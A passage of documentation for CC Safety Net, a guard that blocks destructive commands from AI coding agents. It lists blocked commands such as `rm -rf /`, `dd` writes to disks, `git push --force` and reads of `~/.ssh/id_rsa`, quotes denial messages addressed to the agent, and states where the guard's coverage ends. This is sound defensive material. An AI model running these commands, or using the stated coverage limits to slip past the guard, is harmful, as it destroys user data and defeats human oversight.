`shred --help` and `shred --version` **are** blocked, because any operand counts | | `ldd ./bin`, `ddrescue if=/dev/sda of=./out.img` | Word-boundary match, a head that merely contains `dd` or `shred` as a substring is not the rule head | ## PowerShell commands | Command pattern | Why it's safe | | ------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | | `Remove-Item . -Recurse -Force -WhatIf` | `-WhatIf` is a dry run, so nothing is deleted. `-WhatIf:$true` and the `-wi` abbreviation behave the same way. `-WhatIf:$false` blocks again | | `Remove-Item file.txt` | A simple non-recursive, non-forced delete is outside the destructive rule set | | `Remove-Item .\dist -Recurse -Force`, `-Path .\dist`, `-LiteralPath:.\dist`, `.\{dist}`, `'.\dist,old'` | Inside the current working directory (blocked under paranoid rm) | | `Remove-Item /tmp/test-dir -Recurse -Force` | Temp target, same taxonomy as `rm`, and configured allow paths behave the same way | | `Remove-Item 'file''name.txt'` and backtick-escaped variants | Quoted and escaped simple deletions that do not resolve to a destructive target | | `Remove-Item $target -Recurse -Force` | Dynamic target, **Standard only**, blocked in strict and paranoid | | `Get-ChildItem . -Recurse \| Remove-Item -Force` | Unverifiable pipeline input, **Standard only** | Selecting `posix` as the shell mode deliberately disables the PowerShell removal rules entirely, while keeping the cross-shell rules such as `git.reset-hard` and `rm.recursive-force-root-or-home`. In `auto` mode, an explicit `Remove-Item` is detected, including after `;`, a newline, `&&`, or `||`. The same applies to `Get-Content`, `Set-Content`, `Add-Content`, `Copy-Item`, and `Move-Item`, and to an alias such as `gc` or `cp` whose argument is spelled as a PowerShell path expression. ## Sensitive-path allowances Sensitive-path protection is a bounded pattern set over supported shapes, so some shapes that mention a sensitive filename are still allowed. | Command pattern | Why it's allowed | Level | | ------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ----------------- | | `find . -name .env` | `-name` supplies a search *pattern*, not a path to read | All | | `find src -type f` | No sensitive path root | All | | `custom-tool README.md`, `make FOO=bar`, `xxd README.md` | Benign operands on an unlisted command | All | | `cat .env.example` (also `.env.sample`, `.env.template`, `.env.defaults`) | Env templates hold placeholder values, not secrets, exempted before every other sensitive-path rule | All | | `cat node_modules/x/fixture.pem` | Vendored directories suppress the extension rules and the broad key-basename rule | All | | `test -f ~/.ssh/id_rsa` | Metadata-only existence check, no content access | **Standard only** | | `find ~/.ssh -type f` | Metadata-only listing, no content access | **Standard only** | | `ls -la ~/.ssh`, `stat .env` | Directory listing and file status, no content access | **Standard only** | | Node/Bun inline evaluation containing sensitive path literals | Treated as inert diagnostic data when a bounded lexical scan finds no filesystem or command-execution marker | **Standard only** | Two of those allowances have precise boundaries worth knowing: * **Env templates.** The exact basenames `.env.example`, `.env.sample`, `.env.template`, and `.env.defaults`, plus any name that starts with `.env.example.` or `.env.sample.`, such as `.env.example.local`, are exempted before any other sensitive-path rule runs, so they stay readable and writable even inside a protected home directory. The prefix form does not extend to the other two templates: `.env.template.local`, like every other `.env.*` name, blocks under `secret.pattern.env-variant`. * **Vendored directories.** When any path segment is `node_modules` or `__pycache__`, or the adjacent pair `vendor/bundle` or `vendor/cache` appears (a lone `vendor` segment does not count), exactly two rule groups are suppressed: the extension rules (`.pem`, `.p12`, `.key`, …) and the broad extensionless key-basename rule `secret.pattern.ssh-key-basename` (`*_rsa`, `*_dsa`, `*_ed25519`, `*_ecdsa`). Every other rule still applies there. `node_modules/x/.env` and `node_modules/x/id_rsa` block as usual. `.git` is **not** in the skip set, so key material inside a `.git` tree (for example `.git/hooks/deploy_key_rsa`) matches the rules like anywhere else. Standard never relaxes sensitive **content** access or configured deny paths. `cat ~/.ssh/id_rsa`, `find ~/.ssh -type f -exec cat {} +`, `find ~/.ssh -type f -fprint .env`, `test -f ~/.ssh/id_rsa && cat ~/.ssh/id_rsa`, and `test -f "$(cat ~/.ssh/id_rsa)"` all stay blocked in standard. Deny paths and their descendants are matched ahead of the built-in rules and are exempt from both Standard-only relaxations. ## Worktree mode exceptions With [`CC_SAFETY_NET_WORKTREE=1`](/docs/configuration/modes#worktree-mode-cc_safety_net_worktree=1), CC Safety Net permits selected local-discard commands after it verifies a linked Git worktree. If verification fails, the command remains blocked. The following commands are allowed inside a linked worktree when worktree mode is active: * `git restore ` and `git restore --worktree ` * `git checkout -- `, `git checkout -- `, `git checkout --force`, and ambiguous multi-positional checkout forms * `git switch --discard-changes` and `git switch -f` / `--force` * `git reset --hard` and `git reset --merge` * `git clean -f` (and combined flags like `-fd`) * `git rm --force` / `-f` These commands remain blocked even inside a linked worktree, because they reach beyond the local working tree: * `git push --force` affects the remote. * `git branch -D` affects shared refs. * `git stash drop` / `git stash clear` affect the stash shared across worktrees. * `git worktree remove --force` could delete another worktree. Worktree mode is a relaxation of git local-discard rules only. It does not touch filesystem, device, or PowerShell rules, and it never relaxes Git-metadata protection: inside a linked worktree, `rm .git`, `rm -rf `, `rm -rf `, and the redirection `> .git` all still hard-stop, because the marker file's resolved Git directories are protected too. If CC Safety Net is blocking a command you believe is safe, run `npx cc-safety-net explain ""` to see the full analysis and understand why. See [CLI commands](/docs/reference/cli-commands#explain) for the flags and [Troubleshooting](/docs/guides/troubleshooting) for the wider diagnosis flow. # Audit log reference Source: https://ccsafetynet.com/docs/reference/audit-log Reference for CC Safety Net's audit log: file layout, JSONL record schema, what is recorded, retention and pruning, and the bounded scope of secret redaction. CC Safety Net writes a structured audit trail of command decisions. Use it to review what your agent tried to do and what happened. Logs use JSON Lines (JSONL), with one JSON object per line. CC Safety Net stores these logs on your machine. This page defines the file layout, record schema, scope, retention, and redaction limits. Use [Dashboard](/docs/guides/dashboard) to read the log in a UI or [`logs`](/docs/reference/cli-commands#logs) to read it in the terminal. ## Log layout Records are written to a per-project, per-month path: ```text theme={"dark"} ~/.cc-safety-net/logs///-.jsonl ``` | Path part | How it is derived | | --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | | `~/.cc-safety-net/logs` | The audit root. The home directory is taken from `CC_SAFETY_NET_AUDIT_HOME`, then `HOME`, then the operating system's home lookup, and must be absolute | | `` | The working directory with every non-alphanumeric character replaced by `-`, truncated to 180 characters, or `no-cwd` when there is nothing to encode | | `` | The month of the record's timestamp | | `-` | The record's date plus the agent session id | The session id is sanitized before it reaches the filename. Runs of characters outside `A-Za-z0-9_.-` collapse to `_`; leading and trailing `.`, `-`, and `_` are stripped; and the result is truncated to 128 characters. If sanitizing leaves an empty string, `.`, or `..`, **the write is abandoned entirely**. This is a path-traversal defense, not a formatting rule. Directories are created with mode `0700` and the log file is appended with mode `0600`. Write failures are ignored. Audit logging cannot change an allow or block decision. Flat files directly in `~/.cc-safety-net/logs/` are the **legacy** layout from earlier versions. They are still read by `logs` and still swept by retention, and they are what [`logs --prune-legacy`](#deleting-legacy-logs) targets. New records are never written there. ## Each record contains one decision Each line records exactly one allowed-or-blocked command decision: the command, the segment that drove the decision, the reason, and the rule that matched. * No command output, model prompt, tool result, or conversation content is read or stored anywhere in the write path. * Denials are always recorded. * Allowed decisions are recorded only when the tool call actually routed to a command. An allowed non-command tool call produces no record at all. * Blocks from the fail-closed path **are** recorded. These occur when the analyzer errors and the guard refuses rather than guesses. The `failureStage` and `errorCode` fields identify them, and `logs --suspect` uses those fields. ## Record schema | Field | Type | Presence | Description | | ---------------- | ------------------- | ------------------------------ | ------------------------------------------------------------------------------------------------------------- | | `ts` | string | always | ISO 8601 timestamp of the decision | | `id` | string | always written | 16 hex characters. This is the id `logs --id` takes | | `v` | string | optional | The CC Safety Net version that wrote the record, or `dev` | | `sessionId` | string | optional | The sanitized agent session id | | `decision` | `"allow" \| "deny"` | optional, defaults to `"deny"` | The decision that was made | | `agent` | string | optional | The integration id, for example `claude-code`. Doubles as the key for the display name | | `shape` | string | optional | The adapter input shape the record came from | | `level` | string | optional | The effective safety level in force at decision time | | `configFallback` | `true` | optional | Present when the decision ran against a fallback policy | | `toolName` | string | optional | The tool name, capped at 256 characters | | `command` | string | always | The full command, redacted then capped | | `segment` | string | always | The specific segment that drove the decision, redacted then capped | | `truncated` | `true` | optional | Present only when something was cut. See below | | `reason` | string | always | The human-readable decision reason | | `ruleId` | string | optional | The id of the rule that matched | | `intent` | string | optional | The block intent classification | | `failureStage` | string | optional | Set when the denial came from a guard failure and failed closed | | `errorCode` | string | optional | One of `path-canonicalization-limit`, `tool-input-limit`, `structural-shell-syntax-limit`, `unexpected-error` | | `cwd` | string \| `null` | optional | The working directory, redacted then capped | Example record: ```json theme={"dark"} {"ts":"2025-01-15T10:30:00.000Z","id":"3fa9c2d1a70e8b42","v":"2.0.0","sessionId":"a1b2c3","decision":"deny","agent":"claude-code","level":"standard","command":"git reset --hard","segment":"git reset --hard","reason":"git reset --hard destroys all uncommitted changes permanently. Use 'git stash' first.","ruleId":"git-reset-hard","cwd":"/path/to/project"} ``` ### Length caps and the truncation indicator | Field | Cap | | ---------- | ------------------------------------------------------------------- | | `command` | 10,000 characters, except on an entry that carries a `failureStage` | | `segment` | 2,000 characters | | `toolName` | 256 characters | | `cwd` | 32,768 characters | Caps are applied **after** redaction, so redaction is never cut off part-way through a token. An entry that carries a `failureStage` is the primary record for diagnosing a fail-closed event, so it stores the **whole** command instead of a capped one. The tool-input byte caps already bound that length upstream. The `segment`, `toolName`, and `cwd` caps are unchanged and apply to failure entries too. If `command`, `segment`, `toolName`, or `cwd` exceeds its cap, the record gains `truncated: true`. On a failure entry the command has no cap to exceed, so a long command there never sets the flag by itself; `segment`, `toolName`, and `cwd` still can. The flag is never written as `false`; its absence means nothing was cut. `logs --id` renders it as `truncated: yes` or `-`. ## What is recorded: audit scope `CC_SAFETY_NET_AUDIT_SCOPE` decides whether allowed command decisions join the denials in the log. | Value | Effect | | ------------- | ----------------------------------------------------------------------------------------- | | unset | **Default.** Same as `all` | | `all` | Record both allowed and blocked command decisions | | `blocked` | Record denials only. This is the privacy-minimizing setting | | anything else | Treated as invalid: falls back to recording denials only, **and** is reported by `doctor` | An invalid value is not silent. `doctor` raises `environment.audit-scope-invalid` at warning severity with the exact message "Audit scope value is invalid" and a hint to set the variable to `all` or `blocked`, then restart the integration. It does not echo the offending value. Denials are never suppressed by scope. Scope only ever gates the allow branch. ## Retention | Setting | Value | | ------------------ | --------------------------------------- | | Default retention | **30 days** | | Configurable range | **1 to 365 days** | | Config key | `audit.retention_days` in `policy.json` | `audit.retention_days` must be a whole number between 1 and 365; anything else is rejected by validation, and any value that cannot be used at all falls back to the 30-day default. Retention is read straight out of the policy file on its own, so pruning keeps working even when the rest of the policy fails validation. The same value bounds the `logs --since` ceiling and the windows the GUI Activity view offers. Shortening retention is **irreversible**. The sweep recomputes its cutoff on every run, so lowering the value makes existing records immediately eligible for deletion. The sweep unlinks them with no archive, trash, or undo. The GUI asks you to confirm before lowering the value. ### Pruning is opportunistic Nothing runs on a timer. The retention sweep is triggered by activity: * after every audit write (deliberately after, so a pruning failure can never cost the record), * before `logs` reads, * before `doctor` builds its activity summary, * before the GUI activity feed loads. The sweep traverses at most once per UTC day per audit root, throttled by a zero-byte `.last-prune` marker in the audit root. It never throws, never creates the audit root, never follows symlinks, and leaves any file shape it does not recognize untouched. Empty month directories and empty project directories are reclaimed, except the current month, which is left alone to avoid racing an in-flight write. Legacy flat files are deleted only when both the file's timestamp and every record inside it prove it wholly expired; a file with mixed ages is never rewritten or split. **Expired records can remain on disk while CC Safety Net is idle** because nothing starts the sweep. `logs --id` searches records that are present on disk. It can return a record past its retention window if pruning has not reached it. ### Deleting legacy logs `cc-safety-net logs --prune-legacy` deletes every legacy flat `*.jsonl` file in the audit root **immediately and irreversibly**. There is no confirmation prompt and no `--yes` flag. The only preview is `--dry-run`, which reports the files that would be deleted and deletes nothing. File position alone decides membership. Age, schema validity, and malformed lines do not matter. This is not the retention sweep. The retention sweep deletes legacy files only when they are wholly expired; `--prune-legacy` deletes them regardless of age. It never enters or changes nested per-project logs, and its output states this. See [`logs --prune-legacy`](/docs/reference/cli-commands#logs-prune-legacy) for exit behavior and rejected option combinations. ## Counts and returned entries Counts cover the full window. Entry lists are capped, so the two numbers can differ. | Surface | Window | Counts | Entries returned | | ----------------- | ---------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | | GUI Activity view | Whole local calendar days, so the per-day buckets sum exactly to the blocked total | Blocked, allowed, agents, rules, commands, errors, and the per-day series are all computed over the full window | Capped at 500. The cap is split between decisions so a denial storm cannot crowd out "Allowed", and the response flags that the list is short of the counts | | `doctor` activity | 7 days, rolling | Total blocked and session count over the whole window. `doctor` skips allowed decisions entirely, whatever the audit scope | The 3 most recent | | `logs` | `--since`, default 30 days | Filtering and suspect-repeat detection run over the whole window | `--limit`, default 20 | When `logs` scans the log, it counts each dropped source: an unreadable directory, an unreadable file, or a malformed record. It writes one warning to stderr: `warning: N audit log sources could not be read; these results are incomplete` (`source` when N is 1). The warning names no paths. Stdout and the exit code remain unchanged, so `--json` stays parseable. A missing logs directory means empty history, not a dropped source, and produces no warning. Normal list and GUI windows do not look further back than retention. The GUI derives its window choices from your retention value rather than offering a fixed list. A direct `logs --id` lookup can still return an expired record while it remains on disk and before pruning removes it. See [Dashboard](/docs/guides/dashboard#windows-are-derived-from-retention) for the choices available at each retention setting. ## Secret redaction Command, segment, tool name, and working directory are passed through secret redaction **before** the record is serialized. Recognized values are replaced with ``: * Environment assignments whose name contains `TOKEN`, `SECRET`, `PASSWORD`, `PASS`, `KEY`, or `CREDENTIALS` * Database connection variables (`DATABASE_URL`, `POSTGRES_URL`, `MYSQL_URL`, `REDIS_URL`, `MONGODB_URL`, and other DSN/URL/URI/connection-string variables) * PEM private key blocks (`-----BEGIN ... PRIVATE KEY-----`) * Secret-bearing HTTP headers (`Authorization`, `Cookie`, `X-API-KEY`, `API-KEY`) * URL credentials (`scheme://user:pass@host` and `scheme://token@host`) and `-u user:pass` * Presigned-URL signature query parameters, the values of `x-amz-signature`, `x-goog-signature`, `sig`, and `signature`, matched case-insensitively when the parameter name follows the start of the text, whitespace, `?`, `&`, `;`, or `|` * A fixed list of provider token formats (`ghp_...`, `gho_...`, `xoxb-...`, `npm_...`, `sk_live_...`, `rk_live_...`, `pypi-...`, and similar) * JWTs (`eyJ...`) and AWS access key IDs (`AKIA...` / `ASIA...`) **Redaction is bounded.** It is a fixed list of patterns, not a classifier. Everything it does not recognize is retained verbatim: absolute filesystem paths, project and directory names, hostnames, IP addresses, usernames, ticket ids, filenames, and any credential whose shape is not on the list. The `reason` field is not redacted at write time at all. Treat the audit log as sensitive local data, and review any excerpt before pasting it into an issue or a chat. Before the GUI sends a false-positive report, it removes your home-directory prefix. Other paths can remain in the report. Permissions (`0700` on directories and `0600` on files) and local storage limit access. They do not redact the log or make it safe to share. ## Related pages * [CLI commands](/docs/reference/cli-commands#logs) documents the `logs` command, filters, and JSON output. * [Dashboard](/docs/guides/dashboard#activity) shows the same records in the GUI Activity feed. * [Policy](/docs/configuration/policy#audit-retention) defines and validates `audit.retention_days`. * [Explain trace](/docs/reference/explain-trace) uses the same redaction bound for `explain` output. * [Security model](/docs/guides/security-model) places the audit log in the threat model. # Blocked commands and why they block Source: https://ccsafetynet.com/docs/reference/blocked-commands Complete reference of the git, rm, find, device, PowerShell, and sensitive-path commands CC Safety Net blocks, with the safety level each rule needs. CC Safety Net blocks commands that can permanently destroy uncommitted changes, stashed work, remote history, other data, or a whole disk. The tables below cover the default built-in rules; [custom rules](/docs/configuration/custom-rules) can extend them. By default, every untagged row blocks at all three safety levels. Rows marked **Strict** or **Paranoid** need that safety level or capability. Policy can disable some non-catastrophic rules. See [Modes](/docs/configuration/modes) for how to activate each level. This page is the behavior matrix for what is blocked and where each boundary falls. See [Architecture](/docs/guides/architecture) for the ordered guard flow, [Analysis engine](/docs/guides/analysis-engine) for classifier logic, and [Allowed commands](/docs/reference/allowed-commands) for safe variants. ## What each safety level adds | Level | Additional blocks | | ---------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [Standard](/docs/configuration/modes#default-mode) | Blocks all untagged rows. Safe-looking unparseable text such as `echo 'unterminated` is permitted, but unparseable text containing a recognizable destructive pattern is still blocked heuristically. Dynamic `rm -rf` targets are **not** categorically blocked. | | [Strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) | Everything standard blocks, plus unparseable commands outright, destructive targets that cannot be verified, [heredocs outside a small supported set](#heredocs-in-strict-and-paranoid), and metadata-only discovery of built-in sensitive paths. | | [Paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1) | Everything strict blocks, plus non-temp recursive forced deletion even inside the current working directory, and every interpreter one-liner regardless of content. | Some catastrophic protections do not depend on the selected safety level. Root and home recursive deletion, Git-metadata protection, and canonical `policy.json` protection ignore the master destructive-command switch and per-rule `off` overrides. ## Git commands These git operations are blocked because they discard uncommitted work, destroy recovery history, or rewrite shared state. | Command pattern | Why CC Safety Net blocks it | | ----------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `git checkout -- ` | Discards uncommitted changes permanently | | `git checkout --force` / `-f` | Force-discards uncommitted changes | | `git checkout -- ` | Overwrites working tree with ref version | | `git checkout ` | May overwrite working tree when Git disambiguates ref vs pathspec | | `git checkout --pathspec-from-file` | Can overwrite multiple files from a file list | | `git restore ` | Discards uncommitted changes. Use `--staged` to unstage files only | | `git restore --worktree` / `-W` | Explicitly discards working tree changes | | `git switch --discard-changes` | Discards uncommitted changes when switching branches | | `git switch --force` / `-f` | Discards uncommitted changes (force switch) | | `git reset --hard` | Destroys all uncommitted changes | | `git reset --merge` | Can lose uncommitted changes | | `git clean -f` / `--force` | Removes untracked files permanently | | `git rm --force` / `-f` | Removes tracked files from the working tree. `--cached` and `--dry-run` / `-n` are not blocked, and a plain `git rm` is allowed because git's own safety check limits it to content recoverable from `HEAD` | | `git push --force` / `-f` | Destroys remote history (use `--force-with-lease`) | | `git branch -D` | Force-deletes branch without merge check | | `git rebase --abort` | Discards rebase conflict resolutions | | `git merge --abort` | Discards merge conflict resolutions | | `git tag -d` / `--delete` | Permanently deletes tags | | `git reflog delete` | Removes recovery history | | `git stash drop` | Permanently deletes stashed changes | | `git stash clear` | Deletes all stashed changes | | `git worktree remove --force` | Force-deletes worktree without checking for changes | Git commands that mutate a branch with both a force flag and a create/reset flag (for example `git checkout -Bf`, `git switch -Cf --discard-changes`) are treated as forced branch resets and blocked. ### Git SSH environment overrides Git accepts `GIT_SSH_COMMAND`, `GIT_SSH`, and `GIT_SSH_VARIANT` to run an arbitrary program during network operations. CC Safety Net blocks any of these overrides when combined with a network subcommand, because they can execute arbitrary commands: | Blocked pattern | Why it's blocked | | ------------------------------------------------- | -------------------------------------------------------------- | | `GIT_SSH_COMMAND=... git clone` | SSH override can execute arbitrary commands during network ops | | `GIT_SSH=... git fetch` / `pull` / `push` | Same, applies to fetch, pull, push | | `GIT_SSH_VARIANT=... git ls-remote` / `submodule` | Same, applies to ls-remote and submodule | ## Filesystem commands | Command pattern | Why it's blocked | Level | | ----------------------------------------------- | ------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------- | | `rm -rf /`, `~`, `$HOME` | Root/home deletion is extremely dangerous | All (catastrophic) | | `rm -rf .git` and protected hooks | Destroys repository history and hooks | All (catastrophic) | | `rm -rf .` (the cwd itself) | Deleting the whole working directory removes the workspace you are standing in | All | | `rm -rf` outside the cwd | Recursive deletion of absolute, parent, or non-temp paths outside the cwd | All | | `rm -rf` while the cwd is your home | Anchoring recursive deletion at home is unsafe. Change into a project directory first | All | | `rm -rf "$target"` and other dynamic targets | A target built from a variable, backtick, or substitution cannot be verified before it runs | **Strict**, paranoid | | `rm -rf ./cache` (non-temp path inside the cwd) | Recursive forced deletion is restricted even inside the working directory | **Paranoid** ([`CC_SAFETY_NET_PARANOID_RM=1`](/docs/configuration/modes#rm-check-cc_safety_net_paranoid_rm=1)) | | `cleanup() { rm -rf ../outside; }; cleanup` | A called shell function body is analyzed at the call site. The definition alone executes nothing | All | | `find ... -delete` | Permanently removes files matching criteria (use `-print` to preview) | All | | `find .git -delete` | Selects protected Git metadata for deletion | All (catastrophic) | | `find -exec rm -rf ...` | Recursive-force delete inside a find exec block | All | | `xargs rm -rf` | Dynamic input makes targets unpredictable | All | | `xargs -c` | Can execute arbitrary commands | All | | `parallel rm -rf` | Dynamic input makes targets unpredictable | All | | `parallel -c` | Can execute arbitrary commands | All | `rm -rf` targets use a first-match classification order: unsupported Windows UNC or device targets, root or home, protected Git metadata, temp paths, dynamic targets, configured allow paths, home as the working directory, the working directory itself, inside the working directory, and outside the working directory. Temp paths are allowed at all levels. Other paths inside the working directory are allowed unless paranoid `rm` is active. See [Allowed commands](/docs/reference/allowed-commands) for safe variants. Hiding a destructive command in a shell function does not change any of this: the body is analyzed where the function is called, with the caller's cwd, and calls resolve through quoting (`'cleanup'`), `time`/`!` prefixes, and `eval`. The bash keyword spellings `function cleanup { ... }` and `function cleanup() { ... }` are read as definitions too, so they behave the same as `cleanup() { ... }`. A definition that is never called is inert. See [POSIX shell functions](/docs/guides/analysis-engine#posix-shell-functions) for call resolution and scoping. Dynamic `rm -rf` targets are **not** categorically blocked in standard. `rm -rf "$target"` is allowed in standard and blocked only once the fail-closed capability is on, that is, in [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) or [paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1). Standard is best-effort against adversarial or dynamically generated command text; use strict or paranoid when commands may originate from prompt injection or another untrusted source. An unquoted glob is resolved against the working directory before the classification above runs. With the cwd at your home directory, `rm -rf *` and `rm -rf ./*` both classify as a home target and block as `rm.recursive-force-root-or-home` at every level. A quoted `rm -rf '*'` is not a glob: it names the single file literally called `*`. At home that is still blocked, by `rm.recursive-force-home-cwd`; anywhere else it is an ordinary literal target. Git metadata and dynamic targets are both classified before configured allow paths, so an entry in `destructive_command_protection.allow_paths` never relaxes Git-metadata protection and never applies to an unverifiable target. ## Device and disk destruction CC Safety Net analyzes `dd`, `mkfs`, and `shred` at every safety level. These rules are not catastrophic, so the master destructive-command switch and a per-rule `off` override still apply. | Command pattern | Why it's blocked | | ---------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `dd ... of=/dev/...` | A direct `dd` write to a device path can destroy a disk or partition. Reordered and quoted operands are covered (`dd of=/dev/nvme0n1 if=/dev/zero`, `of="/dev/sda"`) | | `mkfs /dev/...` and any `mkfs.*` variant | Formatting a device erases everything on it (`mkfs.ext4 /dev/sda1`, `mkfs -t ext4 /dev/sdb`) | | `shred ` | `shred` permanently destroys its target, so every target is blocked. This includes `shred --help` and `shred --version` | Only a *write* to a device triggers the `dd` rule. Reading from a device into a file (`dd if=/dev/sda of=./backup.img`) is allowed, and so is `mkfs.ext4 disk.img` against a file-backed image. All three rules also apply through wrappers and carriers: `bash -c "dd if=/dev/zero of=/dev/sda"`, `sudo mkfs.ext4 /dev/sda`, `env dd of=/dev/sda if=/dev/zero`, and `eval "shred secret"` are all blocked. ## Git metadata CC Safety Net resolves the nearest ancestor `.git` entry for each of two directories: the execution directory, and the configuration directory that selects the project's rule configuration. It protects each entry, its resolved Git directories, and their `hooks` subtrees. The two are the same directory in the common case. They differ when an agent runs a command outside the project, such as an Amp `shell_command.dir` or an OpenCode `workdir`. Both Git control planes then stay protected. This protection applies **even when you are inside the working directory**, and it is evaluated before any configuration is loaded, so it carries no safety level and cannot be turned off by policy. | Blocked shape | Note | | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- | | `rm .git`, `rm -rf .git`, `rm .*` | Direct removal of the control-plane entry | | `rm -rf `, `rm -rf ` | For a **linked worktree** or submodule, `.git` is a marker file; the resolved `gitDir` and `commonDir` it points at are protected too | | `rm -rf /.git/modules/` | Submodule Git directories | | `rm -rf /*` | A glob covering a protected directory | | `mv` with a protected source or destination | Move route | | `> .git` and other write redirections | Redirection route | | `Write` or patch targeting `.git/hooks/new-hook` | Write-tool, patch, and unknown-tool routes. Read-only tools are exempt | | `find .git -delete` | Catastrophic even with `find.delete-git-metadata` set to `off` | A symlinked `.git` directory and a symlinked hooks directory are protected on **both** the lexical and the canonical alias, and a `.git` marker pointing at a missing Git directory still blocks. A trailing `*` glob in a POSIX shell does not match dot-entries, so `rm -rf ./*` at a repository root does not cover `.git`, but `rm -rf .git/worktrees/*` and PowerShell wildcards do. Boundary: this guard covers the nearest ancestor Git control plane of the execution directory and of the configuration directory. Other repositories nested below either directory, and Git-internal paths outside the resolved set, are not covered. ## Protected policy.json files Mutating or deleting a protected policy file is always blocked. Two files are protected: the user file at `~/.cc-safety-net/policy.json`, or `$CC_SAFETY_NET_HOME/policy.json` when that variable is set, and the project file at `.cc-safety-net/policy.json`, resolved from the execution directory and from the configuration directory. This check runs **before** the configuration is loaded, so it can never be disabled by the policy it protects, and its denial carries no safety level and no config state. The reason string is exactly: ```text theme={"dark"} This path contains the protected policy config and you must not modify or delete it. ``` Matching covers both files, plus a directory set that differs by scope. For the user file it is that file's directory and every ancestor of it. For the project file it is that file's own `.cc-safety-net` directory and nothing above it, so `rm -rf .` at a project root keeps the destructive-command rules' own reason instead of this one. The shapes are: * Direct write, edit, and patch targets. * Exact shell operands and write redirections. * Supported environment-variable, relative, and existing-symlink aliases. * Recursive `rm` of a protected directory. * `mv` when a protected file or directory is a source. Read-only inspection commands are allowlisted and pass through: `[`, `cat`, `file`, `grep`, `head`, `jq`, `less`, `ls`, `more`, `rg`, `sed`, `stat`, `tail`, `test`, `wc`. This is a minimal exact-path guard, not command emulation. It tracks assignment-only shell variables and explicit `cd`, but it does not expand globs or braces, infer computed interpreter paths, inspect interpreter bodies, infer archive members, simulate `find` actions, or infer a transfer's final filename. `rule.json`, rulebooks, sibling files, and policy-directory inspection are outside this guard. Only `policy.json` is tamper-resistant, and it is protected in both scopes. ### Agent-run `cc-safety-net policy apply` `policy apply` rewrites the file this guard protects, so the same stage denies it before the configuration is loaded, with intent `hard_stop`. Only you may apply a proposal, and there is no flag that lifts this. The reason string is exactly: ```text theme={"dark"} Only the user may apply a policy proposal, because it rewrites the configuration CC Safety Net enforces. Ask them to run `cc-safety-net policy apply ` themselves in a terminal; you can run `cc-safety-net policy check ` to show them what it would change. ``` The recognizer over-matches on purpose. It covers a direct `cc-safety-net` or `ccsn` call, `npx`, `bunx`, `pnpx`, `pnpm dlx`, `yarn dlx`, `npm exec`, `pnpm exec`, `yarn exec`, a versioned spec such as `cc-safety-net@latest`, and `bun` or `node` running `src/cli/cc-safety-net.ts` or `dist/bin/cc-safety-net.js`. Runner options placed before the target do not unhook it, and `-g` and `--global` are skipped in any position. `policy check` and every other subcommand stay allowed. ## PowerShell Remove-Item PowerShell support is a conservative subset: `Remove-Item` and its aliases, the file cmdlets `Get-Content`, `Set-Content`, `Add-Content`, `Copy-Item`, and `Move-Item` with the aliases `gc`, `cat`, `type`, `cp`, and `mv`, plus the existing cross-shell rules. It is not a general PowerShell parser. The removal rules below apply in `powershell` and `auto` shell modes; `posix` mode deliberately does not apply them, while still keeping cross-shell rules such as `git.reset-hard` and `rm.recursive-force-root-or-home`. Sensitive-path protection resolves a `$HOME`, `$env:USERPROFILE`, `$env:HOME`, or `~` prefix joined to a literal suffix by either path separator, so `Get-Content $HOME\.ssh\id_rsa` is blocked; a path assembled any other way, such as by concatenation, a subexpression, or `Join-Path`, is not evaluated. | Command pattern | Why it's blocked | Level | | ---------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | | `Remove-Item C:\`, `~`, `$HOME`, `$env:USERPROFILE`, `$env:HOME` | Root/home removal, including trailing `\`, `\*`, and `/` variants | All (catastrophic) | | `Remove-Item .git -Recurse -Force` | Protected Git metadata; PowerShell wildcards *do* match dot-entries | All (catastrophic) | | `Remove-Item . -Recurse -Force` | The current directory itself, including after the `--` end-of-parameters marker | All | | `Remove-Item ../other -Recurse -Force` | Outside the cwd, including `..\other`, `../{other}`, comma-separated arrays containing an outside element, and Windows UNC/namespace targets | All | | `Set-Location $HOME; Remove-Item ./build -Recurse -Force` | Recursive removal while the cwd is home | All | | `Remove-Item $target -Recurse -Force` | Dynamic target that cannot be verified | **Strict**, paranoid | | `Get-ChildItem . -Recurse \| Remove-Item -Force` | Unverifiable pipeline input | **Strict**, paranoid | | `Remove-Item -Recurse -Force -Path` | Missing `-Path` value classifies as a dynamic target | **Strict**, paranoid | | `Remove-Item @params -Recurse -Force` | Splatted parameters classify as a dynamic target | **Strict**, paranoid | | `Remove-Item ./cache -Recurse -Force` | Non-temp path inside the cwd | **Paranoid** ([`CC_SAFETY_NET_PARANOID_RM=1`](/docs/configuration/modes#rm-check-cc_safety_net_paranoid_rm=1)) | Aliases and abbreviated parameters are resolved, so `ri . -r -fo` blocks. Invocation-operator forms (`& Remove-Item ...`, `& { ... }`, `. { ... }`), `iex` / `Invoke-Expression` with a literal string, and `$(...)` subexpressions are all analyzed. Line comments (`#`) and block comments (`<# ... #>`, including nested) are ignored, but a real command after them still blocks; malformed or depth-limited block comments and subexpressions fail closed. `-WhatIf` neutralizes the block, because PowerShell will not actually delete anything. `-WhatIf`, `-WhatIf:$true`, and the `-wi` abbreviation all allow an otherwise-blocked `Remove-Item . -Recurse -Force`. Explicit `-WhatIf:$false` blocks again. One exception to the strict-only rows above: `Remove-Item $HOME -Recurse -Force` blocks in **standard**, because it classifies as a root/home target rather than a dynamic one. ## Sensitive paths Sensitive-path protection is a separate guard stage that runs before command analysis. It applies across the supported **command**, **path**, **search** (grep/glob), and **patch** shapes, and it also inspects unknown tools, without ever treating an unknown tool's arbitrary text as 